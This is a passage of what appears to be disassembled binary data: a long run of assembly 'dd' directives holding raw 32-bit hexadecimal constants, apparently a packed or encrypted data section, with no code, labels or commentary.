		dd 752EB00Ch, 0DA66A632h, 4E35A1C0h, 0D22C0C23h, 0A76446C9h
		dd 601944C4h, 9923BCFh,	0FC35FD03h, 4CBF204h, 10240D0h
		dd 69E8F595h, 0FF2C6450h, 80655535h, 6652BD20h,	0A39703BFh
		dd 2589645Fh, 0E269F384h, 20BE3017h, 0F1494C26h, 99328D0Bh
		dd 5153FA3h, 88112D4Dh,	0A41012Fh, 892C8534h, 18E5F403h
		dd 482D37FBh, 9DD52A3Fh, 0EDBD800Bh, 85484810h,	9532A10Dh
		dd 0E90CF432h, 0D63D0207h, 0FDB3309h, 245B5988h, 4404C95Bh
		dd 0C0330408h, 1AF2CFB2h, 37F4BA31h, 146B13E3h,	19F704CCh
		dd 0F40001Bh, 270B073Fh, 0D0A98F64h, 608AC1DFh,	0D2359B30h
		dd 8E1C882Dh, 1C115239h, 0C584178Ah, 0F4C0615Bh, 0FC64F9DFh
		dd 835F17FCh, 84540FFBh, 14DD4011h, 0D2F38Ah, 7F3D1F8h
		dd 0CD00A63Dh, 5250A9A7h, 388A1333h, 0DFCD59F1h, 0E91C0B20h
		dd 0B727015Eh, 0B1308B16h, 51CDAD06h, 0F99D0118h, 8883E9E5h
		dd 852D8B60h, 66E687D9h, 0D561F373h, 0C70CB280h, 2BA46681h
		dd 837A03FFh, 415B865h,	8BC3D703h, 0DA30415Ch, 815D20C2h
		dd 8B92F2EDh, 1B838B28h, 41FF97A0h, 0C538981h, 204F5F5Dh
		dd 40C24B5Bh, 0A5F1C00h, 8D6EF7A3h, 23A2F46h, 27D065C0h
		dd 17B9B795h, 0F0C31961h, 17EA7CF9h, 77B40E8h, 0DADA04Ah
		dd 77158712h, 241DB509h, 0C1E65068h, 0A280B7E0h, 0C8C0F13h
		dd 98091F2Ch, 8963C26Ch, 0EB6A198Dh, 4690384Eh,	226B120h
		dd 0C905D781h, 386E106Dh, 0FA193BA1h, 0EEF4B904h, 0D7040FB8h
		dd 64A04855h, 0BB0DF781h, 85D46500h, 0B640BA86h, 0EAF4E134h
		dd 0C5F67E8h, 68FB70EDh, 56164D58h, 39040A75h, 1081F29h
		dd 1DCBC2A9h, 8A1411F7h, 0E10CB5F7h, 9F2E317h, 4D5FA0B5h
		dd 5390B550h, 8A1C2E62h, 0F0A951CBh, 2184043Dh,	0DC103479h
		dd 11200EBDh, 0BF90BC7Dh, 0C3333118h, 0EC1009F7h, 0E9154E3Ah
		dd 4D6E9B47h, 392E3103h, 6E85309Bh, 78450001h, 74706563h
		dd 6E6F0E69h, 666E4920h, 616D72C2h, 90830C89h, 73CB656Ch
		dd 63202C98h, 3D7418CFh, 68EAF879h, 0F173F1FBh,	0F577F166h
		dd 64129F72h, 6C9F761Fh, 0BD7D705Eh, 69779A73h,	761D2C34h
		dd 1C26D86Ch, 67D8676Eh, 0EE2E7340h, 0FAE7B854h, 0FA79FA6Bh
		dd 6F0AF675h, 1F4040Dh,	807028C6h, 436E7360h, 754C5254h
		dd 0EBB2FF2Bh, 468F6978h, 0BA7A642Dh, 707B6218h, 6C08A379h
		dd 0FE62CB69h, 296428DAh, 56428136h, 3FA6DFA1h,	25BC3DBFh
		dd 0E8431EE6h, 496B630Ah, 64910F4Eh, 54554FC2h,	7F725038h
		dd 161DA26Fh, 0F3BD10Fh, 0B641F390h, 0C80F3DA1h, 50CA5B1Eh
		dd 1D188E8Dh, 0BDDA401Eh, 32B915B1h, 24012D88h,	0BA940FA5h
		dd 0E50581Fh, 528AB9FEh, 0C3805C2Ch, 2427A436h,	2E429914h
		dd 7A32819h, 1632FEB1h,	0D2B8B12h, 0F06465F0h, 25398AC5h
		dd 24230EA7h, 230EB359h, 0EBB5971h, 0B7598F23h,	5978230Eh
		dd 80230EABh, 210EAF59h, 0C305287h, 0E98011D9h,	414B1A2h
		dd 8C0BC5BDh, 0DA8953Ah, 22840A01h, 9951185h, 0C2809019h
		dd 0D81C4AF8h, 955E8D9Bh, 3452AA21h, 0C3402881h, 0FC893BD4h
		dd 99941201h, 2240D54Eh, 9D8B2A55h, 4CC32F13h, 6865BF0Ah
		dd 2250C411h, 54421EA7h, 58E4B321h, 421EB722h, 0A5AB225Ch
		dd 0DAB3EDCh, 506844AFh, 645A52CDh, 0AB32AF0Ch,	0B30CB719h
		dd 22A74386h, 9D0AA1A3h, 0D5291C26h, 22010407h,	0C1C3162Bh
		dd 0C4D5062Ch, 24406A24h, 0D319BF52h, 0F4E36C9Dh, 0C18295A9h
		dd 9BCD18EBh, 20BE941h,	0DD589A29h, 0E2779471h,	61014669h
		dd 349204C2h, 609B83E6h, 42081420h, 4F19ADF6h, 0E9C32486h
		dd 8B1821F8h, 818FA1B5h, 0D3F0E0E6h, 0E8DAC818h, 81896C9Ch
		dd 3BCDE8C6h, 39A561B5h, 0BBE9860Fh, 0D8201E51h, 0CFD8225Ch
		dd 266506Fh, 324C88Ch, 1B42C00Ah, 0BAD22A0Fh, 8B12B6E2h
		dd 864D2085h, 0DB480A18h, 6167413Fh, 4B1C784h, 0CFC69124h
		dd 710ABB4Eh, 0D90E108h, 5FF977Bh, 0C0C0FEF9h, 96531CC0h
		dd 89668F42h, 209FC6Ch,	2B535B57h, 82A04C09h, 224344E1h
		dd 5326BBE0h, 80CB0CEFh, 84C303E3h, 764B3868h, 2FC7765Eh
		dd 83B1306Dh, 29E6BA44h, 8915C598h, 18787C06h, 0BD242BE5h
		dd 29012333h, 91A25BBDh, 806009A3h, 31EA243Eh, 0B7A1BB40h
		dd 0B01C763Ah, 0E4A7B101h, 8AAC0338h, 32C302C8h, 0AACBD190h
		dd 40D20B32h, 0A4A2101h, 0E5D691C9h, 0DD0D236Fh, 52104011h
		dd 5773D48Bh, 33087A05h, 2103E9C0h, 853F80AAh, 5A5F8D61h
		dd 5153BC50h, 9332DC56h, 3DBAF2DBh, 0D1D800ACh,	0BCC381D3h
		dd 3746375Ah, 49469FB0h, 0E844970Bh, 5EC30E8Bh,	608A5B59h
		dd 4951697Bh, 2AEAAC19h, 0C020775Ah, 0DF21E747h, 0D8190FA8h
		dd 293C04A8h, 0E246D44Ch, 4A80962Eh, 858FC160h,	6421A44Ah
		dd 3E064214h, 1A8944BDh, 3F23E938h, 8B8FB8F9h, 1705C040h
		dd 529B46F3h, 14432189h, 46D53C3Fh, 305F1E94h, 0DAE917Ch
		dd 146987E9h, 727682DFh, 0C7A4D40h, 0CAB2B804h,	0B4F8A945h
		dd 30060E9Ch, 46C8D140h, 0F14F73Bh, 908DF182h, 280829EAh
		dd 284C297Bh, 51567028h, 40135348h, 0C494A2Ch, 2D3C8567h
		dd 800AC908h, 13349804h, 0C112D832h, 1C1508C3h,	0A1CD467h
		dd 375E595Bh, 0D2219820h, 1C610B48h, 53FA8191h,	21AC410Ch
		dd 0B1084922h, 206A1641h, 7F29AE0h, 0DB564200h,	724615F4h
		dd 5B371E6Ch, 179BA36h,	0F18166A7h, 845EC01Ah, 520BD90Ch
		dd 6E65D8C1h, 0FB48104h, 5900178Ah, 9576BF5Ah, 51B7BD00h
		dd 603A068Bh, 80C83966h, 619DBCBEh, 39CC081h, 805BAF56h
		dd 0F0C82BE6h, 0DA0636BBh, 0CE86079h, 486B0053h, 1FA41463h
		dd 0D50B66AAh, 64E6DBAh, 4A5802h, 0B254DEE8h, 0B350F86Bh
		dd 1F8FD52Ch, 0E0DFB70Fh, 0DCF6A0EEh, 0D912CC2Ah, 9A89CBEh
		dd 0BEA14FCAh, 7CB910A8h, 46B008Bh, 53F97FE9h, 913A3BC9h
		dd 800B3FBAh, 21D7F196h, 33F8FD31h, 0A10939BCh,	0F9762101h
		dd 59C8D4D7h, 87E3D0h, 0E03836F3h, 0C10697F0h, 0B203F2FAh
		dd 40124CB6h, 580790F5h, 0A7C906ACh, 78EE6662h,	17BB0100h
		dd 9640B6B9h, 16A33C3Ah, 4C153600h, 0CAAC8ACCh,	6224C707h
		dd 0A0C6CE3Eh, 4AB90220h, 2303BB2h, 5D23209Ch, 0C6631DD1h
		dd 787295A2h, 99DF706h,	2258580Eh, 0A7008BEAh, 0B6B8F13Dh
		dd 0C368B4C9h, 0B1A80B08h
		dd 31D8B0DBh, 1107E33Bh, 53AEC7CEh, 0ECEFF907h,	0A1328BBh
		dd 9C80D233h, 804611A8h, 3118D7EAh, 22F94345h, 0F26F009Dh
		dd 63CFE1D7h, 0AD7CF124h, 0E33DFE0Ch, 0F05020BFh, 428A448h
		dd 311AD7E4h, 20A36255h, 0DDD7EC6Dh, 0E001A573h, 82CFD6C3h
		dd 0F088BD37h, 3C43AE72h, 0B348A406h, 0CD40DE80h, 0E2BA37F7h
		dd 0D0A918E6h, 36B65833h, 0B754BF05h, 9447FBE0h, 1BE02A41h
		dd 7D6ADC2h, 0C5856349h, 3A8AF028h, 1F0E6E34h, 21171B65h
		dd 0BCB4EFBAh, 60596980h, 5E32427Eh, 3A191D0Ch,	0C16D086Eh
		dd 7E687F21h, 0AFD1F4C0h, 0E0C781CFh, 0CA02B239h, 0A46A0096h
		dd 0C47A171Dh, 525C43F8h, 31680C32h, 64931BEh, 0E05910C3h
		dd 2D00E913h, 17DDA6F1h, 15F97ACCh, 9CA59243h, 79520600h
		dd 97706F29h, 0DA42C013h, 40589E01h, 0C44E5CF1h, 62C09D88h
		dd 0C948C87h, 0D0CB71Dh, 69E83189h, 1117E130h, 1FB21EBh
		dd 9A7591F0h, 0BC7D8CBDh, 4CB4D408h, 0D4FB2A00h, 64A7F8EAh
		dd 66D71CF5h, 39198090h, 0C1EE34E0h, 6CB50F15h,	0B2EC00A0h
		dd 2A7B335Ah, 0DB8D005Eh, 0CA3D2BBCh, 3E0028C6h, 3739BB04h
		dd 18E6C438h, 0B9A99229h, 0BE0081EFh, 0C59E099Ch, 53B5022h
		dd 970A4DC2h, 4022C119h, 0B9983F6h, 917D32CEh, 68485CB9h
		dd 10FB731Ah, 0CC8E4D91h, 7552104h, 4882FB23h, 1B9210E0h
		dd 78923969h, 0ED93B601h, 0CD6B8F5h, 8CEE1C20h,	2F7E6304h
		dd 65625632h, 7E6B8020h, 79D603F1h, 0A192F24Dh,	271DD1C0h
		dd 0C961BC67h, 7D3ACAB0h, 18F98118h, 447E085Eh,	79706E32h
		dd 2E7E7666h, 1D283A2h,	6C4E3EE2h, 678EC819h, 8FB81B7Eh
		dd 3DA6F806h, 2638BA22h, 4AA03FFEh, 880810BCh, 0B080BE6Bh
		dd 0F12E56CBh, 0A507FB47h, 309122F8h, 90B1E9C2h, 73296ECh
		dd 0A8D4C367h, 2E9160A0h, 36003103h, 0DCFA15D6h, 0DA8183h
		dd 7FE859B0h, 968424CFh, 0C3934A0Ah, 0DCD431h, 2991CE52h
		dd 3668D41Eh, 0E9C044h,	48502143h, 0E8CFD8BAh, 1DBEE422h
		dd 78F76Ch, 1A8B4F91h, 0BA60D1CBh, 0B8028C39h, 2286002Eh
		dd 0FBEDEA95h, 37007708h, 364C7CBBh, 0E85F1C1Dh, 0A65D3C31h
		dd 0BA01980Ch, 907FC59h, 40F1BB0Ah, 0B519DBCEh,	10C6283h
		dd 902EBF60h, 0E92C7EF6h, 11BC50AFh, 38066777h,	3FFBF94Ah
		dd 45EF839h, 576BE263h,	5D6482E8h, 11FB2530h, 941591E4h
		dd 2E5880CCh, 4E7FFBh, 2AADDA05h, 0B7D67B9h, 89331F05h
		dd 8840B6B1h, 66D90B7h,	2C5800ABh, 843AE29Bh, 0CCA0BF21h
		dd 0B1584E0Bh, 0CB0A274h, 6B60E448h, 502D32B1h,	90A8B069h
		dd 0F6A500B0h, 0EABC1714h, 0B8B144E6h, 20106444h, 133846F2h
		dd 0C20B2401h, 80F3118Ch, 322E7E54h, 68448C3Eh,	7E5C0073h
		dd 0ED6495CEh, 0D126A0B9h, 0BF003057h, 2568CD36h, 0E1B680A6h
		dd 57B00754h, 1701B4FEh, 5F2CB50Dh, 16C8D4BBh, 63FE81h
		dd 75470FADh, 3326C736h, 0B21F7F19h, 441B971h, 0AC3446D1h
		dd 6C3A3EE9h, 0BAF8F580h, 5DCB3E63h, 0A3C330Ah,	801EB4B7h
		dd 5F248483h, 92C1E0B3h, 0B9BA3731h, 35B78048h,	0C5007438h
		dd 0FB4C3691h, 153BB35Eh, 0D4B15584h, 223A6C12h, 1840E964h
		dd 56372CB7h, 92512052h, 4F00CAEDh, 0C5039B40h,	12FC7BF8h
		dd 2FC0CF31h, 0A041BDE5h, 0F3F5BC4h, 0E636AC8Bh, 940068CBh
		dd 35B9E7FAh, 0BF4C3205h, 441E0E92h, 36585130h,	314B6E96h
		dd 722C2501h, 94808289h, 0E1AFB8EEh, 62F031C0h,	0E18C058h
		dd 60168133h, 3CECB304h, 3A00905Eh, 0DA01E211h,	29CCC548h
		dd 8D8D94EDh, 79E43005h, 606DF091h, 3C251020h, 846F73A2h
		dd 21ED8670h, 0F8D12418h, 7FE989C0h, 181D2880h,	361E7643h
		dd 0E4285D91h, 0D1FC3E18h, 2E806329h, 734B02Bh,	0CAD03AF6h
		dd 7B311B0h, 0A7B5A306h, 8A5490DBh, 4BCEA197h, 2F733F0h
		dd 16F95808h, 1B603725h, 0FC2619F1h, 33A08C1h, 2D6C5221h
		dd 0E051127Ah, 0CADC01B1h, 30B57BE2h, 0F3FB9864h, 0B42C90FCh
		dd 1180ACF2h, 0BCF95053h, 15BF6D1h, 0E261B6C6h,	20C3882Eh
		dd 0C406868Ch, 0EF83120Bh, 11D04229h, 0C8212FFCh, 91ED9708h
		dd 11EF00DCh, 0D99DFB7Ch, 0CDAA00E8h, 0FC1C1B2Ch, 0C400570Ah
		dd 82C0D238h, 0FEAFF7Bh, 0A662D3F1h, 55400260h,	8800B893h
		dd 0EC65C447h, 3B82DD46h, 2F00EBF5h, 0D9ADA545h, 0D201F92Ah
		dd 0F671AB2Dh, 8CE488D6h, 0F02011Ah, 0A1484406h, 7F1880F9h
		dd 0EE1F890Ah, 0CC9C2E7Dh, 19D0359h, 197759B8h,	0B68AB70Ch
		dd 6E1037h, 4DAAB956h, 0F421F052h, 220DB300h, 4EDA9F5Dh
		dd 96EF002Ah, 7DC21A50h, 6000C56Fh, 8AC79962h, 8C5CFAh
		dd 8E95939Dh, 0E5899A7Eh, 1AAF0100h, 78BC070Dh,	0B65E5848h
		dd 0F45B9E05h, 0D7E00018h, 5632499h, 0D3540200h, 83C3D535h
		dd 7F820764h, 305A206Ch, 53E8632Bh, 79BB8600h, 0F76AD14Eh
		dd 0A02A00FCh, 4D686F9Dh, 640A9FE5h, 98E97E0Ah,	527DCD00h
		dd 49ED448h, 2CADD63Fh,	747701FAh, 8847CD35h, 0B61F4170h
		dd 2F8D15B4h, 0FD008CEFh, 589CD386h, 16740502h,	769FB500h
		dd 12C1796Fh, 0A0F738B4h, 0C4B0FD80h, 0B764AC20h, 0CD63570Eh
		dd 1BB50781h, 7B2FE1E0h, 0EA3805B4h, 0EF8F27Dh,	0F4002CDCh
		dd 274CB506h, 3C44A600h, 0A239A53Bh, 4DD7981Fh,	0AD00ECDBh
		dd 43A98238h, 6718FDA3h, 0B7A1335Eh, 90D801E9h,	6AD7EF62h
		dd 5E198042h, 0E3A97DD1h, 0DDE60F27h, 12C0BE55h, 6CFDC53Ch
		dd 0FC378600h, 328C4A70h, 79E53F97h, 0F75F9E8Fh, 2DD365E0h
		dd 7A0072C6h, 0D0504E74h, 17EE10Bh, 0F04DD51Ch,	60B2BBA0h
		dd 34144C06h, 7A8A7FEh,	0DCB7925Dh, 3E845960h, 0C14B008Fh
		dd 93EC0532h, 2700E6F1h, 1D9865C5h, 0B99238h, 63F21B25h
		dd 77FA3523h, 95333D00h, 2D03B4BAh, 59E40738h, 0A012EAD9h
		dd 67B64D7Ah, 9D81900h,	0B8350333h, 0EE20030Ch,	0E3A5FAA6h
		dd 0AC04ECB8h, 0E537E902h, 816BE72Ch, 0D5BF7E98h, 0E5D9BE8h
		dd 0E4C6BB1Dh, 19457B00h, 0A21DEF5Fh, 0E2C09731h, 9F76F3C2h
		dd 9CBCE27Dh, 9B810000h, 0DF37B8A8h, 0A765D800h, 5859092Fh
		dd 7BB5018Eh, 0AD70DB44h, 0AB4DFCA9h, 7ED5A107h, 0AFD0D26Fh
		dd 1CF74840h, 40F3ACE9h, 7ACB22B9h, 0EF1CD638h,	39DD0F7Fh
		dd 4126840h, 0FE4126F5h, 900200FFh, 0F3E34C76h,	0EC00B12Ch
		dd 0D674366Ch, 0E24084A0h, 0EF091CC5h, 11FDC112h, 506D2B55h
		dd 0AAAFEDC4h, 62BED0A0h, 7BEB2E05h, 0BC008B8Dh, 0F1632F96h
		dd 73FC86h, 7AA37ECh, 83549E0Dh, 0BF612003h, 0A8F78E85h
		dd 9A445A97h, 698703B0h, 54B552D4h, 24E503D0h, 94F3F400h
		dd 0D09FEF72h, 1B1C3C29h, 59C33780h, 0A17E6AEBh, 0EE281A00h
		dd 9F4DD0FAh, 54FD035Bh, 0AE5A34EFh, 0DDD080A4h, 84160Dh
		dd 10BA4AA6h, 0F333062Dh, 0DAFD0513h, 46D06440h, 79A378Bh
		dd 0F631EEADh, 0AFE660B7h, 4B005DD5h, 59DD3C6Eh, 0B0A030AAh
		dd 86DE00A5h, 0EAB3359Ah, 340BE0CCh, 0BF1AC2h, 7065308h
		dd 97F200A4h, 845E591Dh, 683FCCA9h, 0C5FA6E3h, 0C7BF2E83h
		dd 7DA4D877h, 56B1014Fh, 1CEA0846h, 6569EE3h, 79313980h
		dd 8D716Bh, 0D966E576h,	0E1402E9Bh, 0CA1289E4h,	0EC5493DEh
		dd 0E8EC54F7h, 0C6DF4809h, 5248A02Dh, 1253D189h, 14A980C4h
		dd 0D90E170Fh, 77209807h, 9283CB87h, 0E9A262C7h, 0A6F791F0h
		dd 0A01B14DEh, 3B00D409h, 6976C4BEh, 9790788Dh,	140E6173h
		dd 2093D748h, 3F108574h
		dd 0F74600B7h, 62A68F1Dh, 9600BE6Dh, 0B974BF11h, 231F803h
		dd 3E28FAF1h, 0D480ECB2h, 5F9E171h, 0AD395C00h,	0B4E69EEBh
		dd 9F972AB5h, 821400D0h, 7B12AC23h, 59008022h, 7D4D3DD5h
		dd 0C12093h, 0D3E60A37h, 74AE79D4h, 12667501h, 3CD85AEBh
		dd 1AF92C8h, 4CDA7786h,	0FC4F47B7h, 2F3A193Eh, 0B205C52h
		dd 228FCCBBh, 6068FF7Ch, 11D2213h, 6C459555h, 8040CBB0h
		dd 0B5620A21h, 2C3805C8h, 807CCE35h, 0D66A8543h, 3E05372Ch
		dd 405E06F0h, 3A47C040h, 3FF5332h, 0A3548E17h, 0FE081DEh
		dd 0C3266140h, 0D6078C6Fh, 6AE50342h, 532CCDC0h, 22DB007Bh
		dd 55CC37D7h, 803DDB8h,	0A27E4D3Ah, 4F2080A6h, 639E000Bh
		dd 0BFEBD5AEh, 0CF076D30h, 451219DDh, 6280F680h, 0FB4B0094h
		dd 0B7825B8Dh, 0B000276Ch, 41C18389h, 0FA967DEBh, 10C800F3h
		dd 0A725478h, 0E4009C42h, 7C859371h, 0AE552Eh, 0A510019Ah
		dd 0F96B2FC5h, 7BB7C109h, 2BA44030h, 0A73400CEh, 57289DD9h
		dd 565CF109h, 0B8C72C48h, 6F809580h, 0A3A75407h, 7D52F8B3h
		dd 418600AEh, 0F2E964CFh, 0A002A127h, 224E390Bh, 811040EEh
		dd 0E40A4931h, 0CD92B303h, 0A6B889E4h, 68E43D23h, 7BF4B607h
		dd 9A505043h, 5379E6Ch,	0DBD32BFBh, 0E8B44275h,	9440A715h
		dd 0B6415BE2h, 559CBC4h, 0D9892E49h, 0F05329h, 5E07BF70h
		dd 0E901CB3Bh, 0C936EC91h, 0F4743F94h, 944A5CB9h, 8DAA88C0h
		dd 0D6016EA2h, 0F8342B1Fh, 33F476E6h, 0C52638C0h, 81AE8683h
		dd 4100BC50h, 0A589E2FBh, 38CFBED1h, 1B091C3Dh,	1880634Bh
		dd 318D9F8Ah, 0C5E6CA00h, 1D2F0269h, 0F7DB00C2h, 4A76FF54h
		dd 6E005532h, 2414718Bh, 739E231h, 0AF03C502h, 0B1D8606Dh
		dd 0AD00D473h, 3E60AC0Ch, 252FBE1Ch, 0D863F905h, 6872B2EAh
		dd 18E13B00h, 311DAE34h, 74967432h, 2ADB7348h, 3B98BDD8h
		dd 0DC4DD33Ah, 5CF14200h, 5D514062h, 0E4F9681Dh, 2CA58841h
		dd 52FCFC32h, 395E83Ah,	400D6EEDh, 0EAD127C8h, 0A740A85Fh
		dd 0BD3B5C00h, 6157BCF7h, 6867674Eh, 809AA594h,	0C16F3644h
		dd 7DBC4301h, 0EE3A2C1Dh, 68CA4040h, 3E631E5Dh,	0ECD183D9h
		dd 28E0C5F2h, 0FE00535Bh, 0AC8B4864h, 934D8BEh,	0B8ECD6E9h
		dd 48704CEh, 0D09F9262h, 0B7D12508h, 17613005h,	6CDC04C0h
		dd 0F2E24490h, 98F1C046h, 229A6119h, 0F00CB829h, 0FF10CC89h
		dd 0CB008C01h, 0BAB8CA2Dh, 132B9CDDh, 405B0C6Ch, 9290C2B8h
		dd 3A03EF6Bh, 0F5F2E3E2h, 658FC828h, 98C80083h,	0BC75D417h
		dd 7224CDB7h, 0F580A445h, 0B58AA54h, 1DC1B05Eh,	0C0C74757h
		dd 55423AB8h, 44983FCBh, 0AEE448h, 3C3EFC85h, 7F108D6h
		dd 9F69EC90h, 7E58B05Ah, 8600AA91h, 0A5E10EC6h,	54746430h
		dd 1714B0F8h, 2EEAC4Ah,	7EC8319Ch, 0BC1CE464h, 14805F26h
		dd 0E0FA0E93h, 0DFC400C1h, 7F3933A6h, 0A554B96Fh, 1C26D8B8h
		dd 469EA020h, 12A369C1h, 0F8309666h, 0B5A91F47h, 0DA254709h
		dd 457CD01Eh, 48206D22h, 4D7724B0h, 43AD00D0h, 50881FCEh
		dd 76966700h, 602864E3h, 736A0086h, 6D09E24Ch, 67167213h
		dd 0D00045A4h, 3914B89Dh, 0C65E1849h, 0D3E348A9h, 8E006C72h
		dd 2D945621h, 90EF69h, 0CC8152F4h, 0CB49E55Fh, 0C57BF600h
		dd 7CB1412Eh, 0E9083927h, 0BEDC0480h, 751E0A8Ch, 74731000h
		dd 2456FAFBh, 34434914h, 0B55A5077h, 7D460265h,	0E20E78EBh
		dd 2FC13468h, 2A08001h,	0F2DEED3Ch, 0C2E814EDh,	5BCA0037h
		dd 0F7F6DFAAh, 0DD4882FCh, 0F5FE0FC1h, 24F0C0F4h, 0A39351h
		dd 0A0260659h, 585DF76Fh, 4DE2A507h, 828085F6h,	50C0AC72h
		dd 943C00Ah, 717ECCC6h,	6921DCA3h, 0F501C98h, 7C9B9C00h
		dd 0BF46D86Dh, 15FF062Eh, 0B86A9E97h, 0B719CC03h, 800BD17Ch
		dd 9730939h, 0E3FA2611h, 9921440Fh, 74C94CF1h, 3A7DA098h
		dd 59D27313h, 0ED2E3880h, 85EB0347h, 431BE1B6h,	89AECF98h
		dd 8A206D60h, 26AF68h, 1E345820h, 0F311622Fh, 18607D48h
		dd 0E229BA73h, 1FFC00B2h, 55C432EEh, 0C5001D98h, 5C4252D9h
		dd 12E37A33h, 69CE6Fh, 0F76C4850h, 120EF58Fh, 0C0AD75CCh
		dd 58D9D10Fh, 6A520017h, 196E329Dh, 3C70BA68h, 70AD410Fh
		dd 7DAB00D2h, 395861h, 51D664B0h, 4B95BBE0h, 44B48600h
		dd 67A1E3B3h, 71C8006Fh, 1EC79CEDh, 0AD24B989h,	0E11FC5DAh
		dd 0C65FA242h, 0F541C01Dh, 8E830073h, 0B1F13735h, 6F0AFCF3h
		dd 9C6540F6h, 0BD448Fh,	2A0DDF7Dh, 132200ADh, 0B254A25Bh
		dd 8800CE87h, 1A05C1FFh, 741D6Ch, 47D6790Fh, 1B8B7555h
		dd 0DB0327h, 713F5200h,	1F5F00C0h, 0E9247A7Ch, 0F40389D0h
		dd 2156B7D8h, 0EEA6E8E7h, 33A300EFh, 0F602FC3h,	0AC00FEB0h
		dd 9D837C4h, 0F5A859h, 8374792Bh, 1ED6DBCFh, 0E9FFA600h
		dd 0BD02D8DEh, 0B747072Dh, 20E7B299h, 5FFB6432h, 4E00B3E0h
		dd 7BE1AD53h, 66AFECh, 2FEEEA62h, 4F28C7DDh, 1E4ABC00h
		dd 5C17D130h, 129D1806h, 0A08C28B0h, 0D2109300h, 0C6DFA240h
		dd 50CFB0BBh, 87CF18h, 0FADB65DEh, 0A9D14A33h, 32367B00h
		dd 499A244h, 715E3AC7h,	0D9515983h, 0C6D0F17Eh,	0D500E84Eh
		dd 7C9307F6h, 0B21D88h,	0B340DBC8h, 89C5C2A2h, 17AE5E00h
		dd 1B7BF850h, 72670001h, 5F055668h, 5A00C64Fh, 78509BAh
		dd 1698D2BEh, 0EC5B10E0h, 4D4CC1h, 6EF03B84h, 716DEE8h
		dd 5BD4B98h, 9F5B04Eh, 0C403A5E6h, 91A794ADh, 9900C721h
		dd 6C5AE0h, 4D97FE16h, 417B1B2Bh, 808B553Dh, 0E46BEC32h
		dd 0FA695Fh, 9D2C527Ch,	0E1E2240Eh, 53EA041Fh, 0F5EE8700h
		dd 0FD81939h, 455431EDh, 8E695260h, 86001BAAh, 0A4E7E6C3h
		dd 6B431Fh, 7B77B751h, 9EEAF099h, 0FD3DC80Eh, 29EE0074h
		dd 4A454809h, 0E98892CEh, 0C1A0BD84h, 64B43458h, 0CA00309Ch
		dd 1D94B75Fh, 5C9BE1h, 67A43CE8h, 22927013h, 0B60052FAh
		dd 97DFCBA2h, 0D53B7h, 0A8756751h, 0AB03FCF6h, 7AFFDC00h
		dd 4F3A09E9h, 0C98A3CB7h, 2F0ECE00h, 64A84B7Bh,	920038E6h
		dd 43FBDD48h, 1B70B429h, 88B9DCA6h, 2DF05290h, 20977F0Eh
		dd 0D1E7C01Eh, 1659A050h, 838C54FDh, 15881190h,	2A3C68F3h
		dd 0A59EBE46h, 0B1708077h, 4F3C3B43h, 30980071h, 47B7EFD6h
		dd 0DC4A3704h, 0D8D04873h, 0BE89F2h, 8D872402h,	0A403D51Eh
		dd 9FCB740Ch, 96F812h, 1073DF44h, 0F980C931h, 0C7BE4900h
		dd 3F384F1h, 0B9A0050h,	0F26A8BE9h, 76E42A3Ch, 0B96426h
		dd 0CF21107Dh, 4E035A5h, 8A475816h, 2ABC58A2h, 89683104h
		dd 40A4ADFAh, 13A681E0h, 0BD35A07Eh, 1820DE93h,	8FF21086h
		dd 47E09E89h, 55200FBh,	0A14E74D9h, 64009731h, 57CE59E4h
		dd 0F4BE213Eh, 39F91D1Dh, 9C1915AEh, 0C63A4109h, 61402448h
		dd 0FF275D06h, 0FE583814h, 48D91232h, 407C91CAh, 0B596D8F9h
		dd 3AE59A3Ch, 89E40A8Eh, 0D10560FDh, 0E0C0F8ACh, 2E01AEC2h
		dd 1ECE77Dh, 0F17F7CBBh, 7100F7D1h, 8865364Ch, 16C10EEh
		dd 0AF015599h, 2E2BDE09h, 62C12C20h, 0A0FE0E7Eh, 56230C5Bh
		dd 3988B3ECh, 1E258182h, 0C0C6BAh, 369CD5EDh, 67878E1Bh
		dd 35186260h, 25CABF38h, 30C89263h, 0DF006D3Dh,	37518FC5h
		dd 89FBF8h, 31DB841Eh, 5DE31355h, 609F2E03h, 91161A48h
		dd 3F0A362h, 3F0C0002h,	44E965D1h, 0BF034852h, 623934D4h
		dd 3BA4E03Ah, 54706F47h, 272CD052h, 0A17F8BC2h,	0BF1C3E01h
		dd 2C3B6733h, 52FBF9CCh
		dd 0FE00A031h, 64B2ABF7h, 972589F1h, 4B7C64B8h,	0F8B0DCF4h
		dd 4B01F01h, 539FBD77h,	30AE1F0h, 0ACD3F48Eh, 290064B4h
		dd 516AAAF7h, 2123F0h, 2B0CFD9Eh, 0BA98D7CDh, 0D0A1CE0Bh
		dd 2C2CE155h, 12726C0h,	2A507EF9h, 43A7856Dh, 0ED884AD7h
		dd 76009BEBh, 327767D1h, 3022DDh, 3F8365ECh, 0A1683581h
		dd 4705AF00h, 0E2481DBBh, 75FCA7h, 0D56F85D8h, 0E41FC742h
		dd 5533DD00h, 0AFA4A8BDh, 0F18A024Bh, 8BBC7ABAh, 9FC7077Fh
		dd 71CEF800h, 6C99008Ch, 28038676h, 7008A75h, 0C0EC499Bh
		dd 92340Dh, 0BB645778h,	418DAB7Dh, 6C9BF51Fh, 752DE5C0h
		dd 2DB87B9h, 93F35427h,	22C178DFh, 0A919E867h, 4898A407h
		dd 7E005D55h, 1E3DA7h, 0AF929925h, 89E88EDDh, 0B9DB750Eh
		dd 506CC0B0h, 1567A63h,	226F3F8Dh, 4428AA86h, 79046C94h
		dd 46814A5h, 9B015077h,	0AFA53Eh, 7B4AA155h, 16EA7E7Ah
		dd 7887337h, 0D0404C5Ah, 0ACA6AB01h, 0CF54280Ch, 4406294Fh
		dd 5744F238h, 0E0A44417h, 0A0D24D44h, 8961D028h, 5D144103h
		dd 102E1243h, 0EF88603Ah, 46FD88A3h, 2423948Bh,	285B4AE4h
		dd 90453E08h, 63D19C16h, 0E114A076h, 862897Fh, 3FF0209Ch
		dd 0B1113342h, 8BE2170h, 9F94EA51h, 710D1150h, 0FD148A21h
		dd 88B2114h, 0A6887829h, 0EFA2BA36h, 10117742h,	3F2222Bh
		dd 929F3C6Fh, 42B018DDh, 347FABCDh, 9079BD07h, 0D7002F0Dh
		dd 3E979Ah, 35CFCBF8h, 0B33CABC9h, 0AE3A8E00h, 997E54A3h
		dd 0DC740007h, 0BB137C90h, 9E007BDDh, 4C63AA22h, 0A678BFh
		dd 0F3A5E5B5h, 3B8F23B3h, 0A0F71200h, 0E1D0551Eh, 0A63239CFh
		dd 0B3984200h, 81636869h, 2F3D7600h, 0CF3421A1h, 1880F7F4h
